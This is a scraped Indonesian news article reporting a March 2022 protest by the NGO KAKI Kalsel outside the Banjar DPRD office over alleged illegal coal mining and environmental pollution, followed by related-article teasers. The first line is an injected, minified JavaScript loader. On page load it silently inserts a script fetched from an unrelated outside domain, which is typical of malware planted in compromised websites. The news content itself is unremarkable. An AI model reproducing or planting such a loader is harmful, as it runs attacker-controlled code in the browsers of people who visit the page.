(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Sekitar 70 orang massa yang anggota Lembaga Swadaya Masyarakat (LSM) menamakan diri Komite Anti Korupsi Indonesia (KAKI) Kalimantan Selatan (Kalsel) menggelar aksi unjuk rasa di halaman gedung DPRD Kabupaten Banjar, Jalan A Yani Km 40 Martapura, Selasa (29/3/2022) pukul 10.00 Wita.
Aksi unjuk rasa langsung dipimpin Direktur LSM KAKI Kalsel, Akhmad Husaini sekaligus sebagai orator utama. Orator dalam unjuk rasa massa menyoroti masalah pertambangan batu bara di Kabupaten Banjar.
LSM KAKI menyebut ada dugaan indikasi pertambangan ilegal yang merugikan masyakarat dan mencemari lingkungan di Desa Surian, Kecamatan Mataraman dan di Desa Bi’ih, Kecamatan Karang Intan.
Pantauan Kanalkalimantan.com, puluhan pengunjuk rasa dengan kaos seragam menampilkan biduanita sebelum orasi dimulai. Menggunakan sound system lumayan keras pengunjuk rasa menunggu sambil berjoget di depan pintu masuk kantor DPRD Banjar.
Baca juga : Pria Tewas Korban Perkelahian Depan Cafe di Trikora Dimakamkan di Martapura
Namun pada aksi ini, setelah menunggu beberapa saat pengunjuk rasa hanya ditemui oleh Aslam, Sekretaris DPRD Kabupaten Banjar. Sekwan mengatakan, anggota dewan sedang melakukan peninjauan di luar kantor. Pihak pengunjuk rasa pun mengaku sangat menyayangkan karena tidak ada satu pun anggota dewan yang menyambut aksi mereka.
“Kami bikin izin sudah tiga hari lalu, tetapi sekarang dewan perwakilan rakyat tidak berhadir. Ayo datang dong, walaupun mereka beralibi ada kunjungan segala macam, tapi yang menjadi pertanyaan apakah semua anggota dewan melakukan kunjungan? nah itu,” ujar Husaini dalam aksi tersebut.
Setelah ditemui oleh Sekwan DPRD Banjar, kepada para awak media Husaini menyampaikan sejumlah tuntutan, termasuk mendorong aparat pemerintah daerah untuk lebih mengawasi dan menangani dugaan masalah pencemaran lingkungan karena limbah pertambangan, yang dilaporkan oleh masyarakat Desa Surian.
“Pada sektor pertambangan di PTPN, ada laporan masyarakat bahwa pertambangan yang diakamodir tersebut mencemari lingkungan, yang mana hal tersebut tentu menjadi tanggung jawab pemerintah daerah,” ungkapnya.
Baca juga : Kronologi dan Identitas Pria Tewas Depan Cafe di Trikora, Saksi Sebut Sempat Ada Cekcok, Pelaku Masih Dicari
Diketahui bahwa, sesuai dengan Undang-undang Minerba dikatakan bahwa sektor pertambangan secara luas menjadi kewenangan pemerintah pusat. Namun dalam hal penanganan lingkungan, dijelaskan Husaini, merupakan bagian kewenangan pemerintah kabupaten. Dimana keadaan lingkungan yang dilaporan oleh warga membuktikan penanganannya oleh pemerintah daerah terkhusus untuk Kabupaten Banjar terkesan lemah, bahkan abai.
“Pemerintah daerah jangan berleha-leha, jangan terkesan lembek, karena mereka masih punya tanggung jawab untuk mengawasi mengenai analisa dampak lingkungan seperti limbah,” tegasnya.
LSM KAKi juga mengkritisi dugaan pertambangan batu bara di Desa Bi’ih, Kecamatan Karang Intan yang saat ini sedang dilakukan secara masif oleh pengusaha-pengusaha dan orang asing swasta.
“Yang mana dari laporan dari masyarakat juga pertambangan tersebut ada dugaan melewati jalan daerah. Tentu kan ini yang dirugikan oleh masyarakat,” ungkapnya.
Baca juga : Ibu Rumah Tangga Ditemukan Meninggal Dunia di Rumahnya
Dirinya menegaskan dengan tidak ada satu pun anggota dewan yang berhadir, pihaknya akan kembali berunjuk rasa di depan kantor DPRD Banjar dalam kurun waktu 10 hari kedepan, jika DPRD Komisi II yang membidangi tidak segera bersikap.
“Setelah 10 hari nanti kami lihat apakah dewan akan bersurat melakukan pemanggilan terhadap pihak perusahaan tersebut, jika tidak maka kami akan melakukan unjuk rasa kembali,” tegasnya.
Ditambahkan Husaini, pihaknya mengajak aparat pemerintah untuk bekerjasama mencari regulasi dan solusi dalam penanganan masalah pertambangan tersebut. Mengingat dampak yang timbul dari pertambangan yang tidak bertata kelola, tentu juga akan dirasakan oleh pemerintah dan masyarakat.
“Tentu kita turut merasakan dampaknya seperti banjir dimana-mana, untuk itu harus kita cari dong regulasinya solusinya. Jika ditemukan masalah seperti paea sektor pertambangan yang tidak bertata kelola maka ayo kita cari solusinya. Kemudian kewenangannya di bidang mana yang harus ditangani oleh pemerintah daerah? oh ternyata limbah, ayo kita panggil perusahaan tersebut lalu cari solusi penanganan limbahnya. Tentunya dengan harapan agar pembangunan pembangunan tetap berjalan tanpa merugikan masyarakat,” tandasnya. (kanalkalimantan.com/Wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.